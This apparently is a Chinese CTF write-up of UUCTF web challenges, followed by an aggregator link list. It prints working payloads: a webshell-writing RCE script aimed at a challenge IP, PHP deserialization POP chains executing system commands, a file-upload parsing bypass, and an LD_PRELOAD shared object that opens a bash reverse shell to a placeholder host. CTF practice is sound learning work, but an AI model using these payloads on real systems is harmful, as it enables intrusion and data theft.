websign

无法右键 禁用js后 看源码

ez_rce -- 闭合

源码,禁用的东西挺多的 仔细发现 ? <> `没有禁用,闭合标签反引号执行命令

## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]

nl输出

ezsql -- 输入反向

直接给出了查询语句

发现输入 11')--+ 显示的是 +--)'11 完全反过来了

首先使用万能密码试试

发现即使输入时正确的账号密码也不会回显flag

找列数 2列

这里过滤了or 双写绕过,查找表名和数据库名

查列名UUCTF

查内容

ezrce -- 6字符RCE

hint:这是一个命令执行接口

我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写

所以说不可以完全信回显

我们要先找到写文件写的目录 echo 一下,文件写在./tmp/

方法一

>nl
* /*>d 第一个:创建一个叫nl的文件
* /*>d 意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数

方法二

前置知识

>a 在Linux会创建一个叫a的文件
*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v>0 等价于 rev v >0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
linux下换行执行命令:
ech\
o\
111

跑脚本,写木马

url="http://43.142.108.3:28933/post.php"
print("[+]start attack!!!")
with open("5字符RCE.txt", "r") as f:
for i in f:
data = {"cmd": f"{i.strip()}"}
requests.post(url=url,data=data) resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
if resp.status_code == requests.codes.ok:
print("[*]Attack success!!!") 5字符RCE.txt
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

ez_unser -- 引用绕过wakeup

反序列化 审计代码

class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
// 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方
// 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等
$this->b=$this->c;
// 终点
eval($this->a);
}
}
$a=$_GET['a'];
// 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeup
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

构造POC

class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('ls');";
}
}
echo((serialize(new test())));

最终的payload

<?php
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=&$this->b;
$this->b=2;
$this->c="system('cat /f*');";
}
} echo((serialize(new test())));

ez_upload--apache解析漏洞

文件上传也就是哪些方式 一个一个试就好

apache解析漏洞 上传shell.jpg.php即可

phonecode--mt_rand函数

hint:你能猜到验证码吗? 猜测就是随机数预判

打开题目 根据提示 意思就是让我们猜验证码是什么

我们先输入手机号和验证码试试,发现无论请求多少次 hint永远是895547922,结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次

mt_srand(11111);
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的
echo mt_rand(); // 一直是恒定的

我们写代码 弄出第二次的mt_rand

mt_srand(123);
echo mt_rand()."\n"; //895547922
echo mt_rand()."\n"; //2141438069

发现果然 第一次的mt_rand就是hint

我们将code改为2141438069

uploadandinject--LD_PRELOAD劫持

打开题目发现有hint

看看hint,意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好

下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容

$PATH=$_GET["image_path"];
if((!isset($PATH))){
$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){
if(file_exists($img_path)){
//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
echo "<br><img src=$img_path>";
}else{
system("echo Failed to load ");
}
}

而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以

那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数 ,本地测试可以发现,system会调用/bin/sh

所以我们写一个exp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h> void payload() {
//反弹shell
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
} char *strcpy (char *__restrict __dest, const char *__restrict __src) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

编译成so文件 然后修改后缀为jpg

gcc -shared -fPIC exp.c -o exp.so

在upload/upload.php上传

然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path

//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库
putenv("LD_PRELOAD=/var/www/html/$img_path");
// 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shell
system("echo Success to load");

要先在攻击机上监听端口

反弹shell成功

输出flag

ezpop -- 字符串逃逸

打开题目给出的就是源码

//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

考点就是字符串逃逸,刚开始直接序列化UUCTF类,经过替换之后5字符变6字符,我们没有给$this->key直接赋值但是要求是UUCTF才可以继续下去,所以通过字符串逃逸间接给key赋值

if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}

我们在本地一步一步测试

首先随便输入根据输出构造,测试发现进入了我们的目标

O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}

然后构造执行命令的那块POC

class output{
public $a;
function __toString(){
//1、调用目的函数 __toString 对象实例被当作字符串处理调用
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
//2.要绕过__wakeup 但是这里php版本是7.2.34 不能利用多写参数绕过 我们还是利用引用绕过
$this->b=$this->t;
// 这里返回的是字符串
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
// 终点
eval($this->cmd);
}
}

POC

<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
} echo(base64_encode(serialize(new nothing())));

将上面两处的构造的结合起来的payload

<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="phpinfo();";
}
} $basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;

执行效果

找flag在当前目录的flag.php

<?php
class output{
public $a;
function __construct(){
$this->a=new youwant();
}
}
class nothing{
public $a;
public $b;
public $t;
function __construct(){
$this->a=&$this->b;
$this->b='xx';
$this->t=new output();
}
}
class youwant{
public $cmd;
function __construct()
{
$this->cmd="system('cat flag.php');";
}
} $basedata = (base64_encode(serialize(new nothing())));
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
$hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;

funmd5--对代码的理解

打开题目 直接源码

重点

if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}

我们知道$md5[0]==md5($md5[0])绕过可以使用0e215962017,但是还要绕过preg_replace使用%0a,我们审计代码发现,后面有对md5[0]的截取 我们只要保证$sub=1从第一位开始截取,就可以避免%0a,而且$sub的值是当前时间的最后一位,也就是保证当前的时间为xxxxxxxx1即可

$sub=substr($time,-1);
$md5[0]=substr($md5[0],$sub);

$guessmd5=md5($time);我们使用脚本快速请求就可以在传入md5[1]也是当前时间的md5值 两者就相等

脚本

import hashlib,time,requests

def guess_md5():
while True:
url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"
resp = requests.get(url=url)
if "win" in resp.text:
print(resp.text)
return
time.sleep(1) guess_md5()

backdoor--tonyenc加密

这题我不太会哦 没咋理解 不是很会使用IDA

hint:backdoor.php是一个后门文件

打开题目 说 布里茨 布里茨就是lol的机器人 看robots.txt

下载源码,发现五个文件大致看下 robots.txt index.php无信息

看看backdoor.php的代码,根据提示 他是一个后门文件 那肯定是有连接后门的密码的,但是乱码又不知道

到了这里属实是没啥思路 看wp IDA逆向so文件

so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据

发现了tonyenc_encode函数

百度搜索这个是啥:

  • 一个简洁、高性能、跨平台的 PHP7 代码加密扩展,当前版本为 0.2.2
  • 就是对PHP7的代码进行加密的函数

百度搜一下找到git项目

GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)

编译前请在 core.h 中做如下修改:

/* 这里定制你的加密特征头,不限长度,十六进制哦 */
const u_char tonyenc_header[] = {
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x16, 0x16, 0x18,
}; /* 这里指定密钥,长一些更安全 */
const u_char tonyenc_key[] = {
0x9f, 0x49, 0x52, 0x00,
0x58, 0x9f, 0xff, 0x21,
0x3e, 0xfe, 0xea, 0xfa,
0xa6, 0x33, 0xf3, 0xc6,
};

在IDA中找到对应的加密头和key

根据github源码写解密py脚本

import base64
header=[
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x61, 0x16, 0x18,
]
key=[
0x9f, 0x58, 0x54, 0x00,
0x58, 0x9f, 0xff, 0x23,
0x8e, 0xfe, 0xea, 0xfa,
0xa6, 0x35, 0xf3, 0xc6]
def decode(data,len):
p =0
for i in range(0,len):
if (i & 1):
p += key[p] + i;
p %= 16;
t = key[p];
data[i] = ~data[i]^t;
if data[i] < 0:
data[i]=data[i]+256
decode = "".join([chr(c) for c in data])
return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))

解密得到backdoor.php文件内容为

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]

最新文章

  1. Google C++单元测试框架GoogleTest(总)
  2. [DUBBO]Dubbo控制台查看方法
  3. HDU 5398 (动态树)
  4. linux不知道文件在哪,想查找文件内的字符串
  5. 【T_SQL】基础 续+
  6. 转载:CSS计数器的趣味时光之css计算数据
  7. 字符串—strcpy
  8. 转:RTMPdump使用相关
  9. 鼠标HOVER时区块动画旋转变色的CSS3样式掩码
  10. visio 改变画布大小
  11. 在ASP.NET下做了一个实验MVC的小东西
  12. [大牛翻译系列]Hadoop(1)MapReduce 连接:重分区连接(Repartition join)
  13. 暑假集训(2)第四弹 ----- 敌兵布阵(hdu1166)
  14. 大数据时代的精准数据挖掘——使用R语言
  15. liunx 修改ssh 端口22
  16. Redis批量导入数据的方法
  17. 工控随笔_18_西门子_WinCC的VBS脚本_07_变量作用域和传值、传址
  18. MySQL 分支的选择:Percona 还是 MariaDB
  19. C\C++学习笔记 2
  20. c# 正则

热门文章

  1. Vite + TS 项目导入 jQuery 包时报错:Could not find a declaration file
  2. 字节跳动基于ClickHouse优化实践之“多表关联查询”
  3. [CSP-S 2019 day2 T1] Emiya家今天的饭
  4. 2019 CSP-S Ⅱ 游记
  5. javaweb-thymeleaf,加载jar包---视图基础
  6. [CISCN2019 华北赛区 Day1 Web2]ikun-1|python反序列化
  7. Neo4j入门详细教程
  8. Keepalived之简单有效的配置
  9. Java SE 3、封装
  10. 【一月一本技术书】-【Go语言设计与实现】- 9月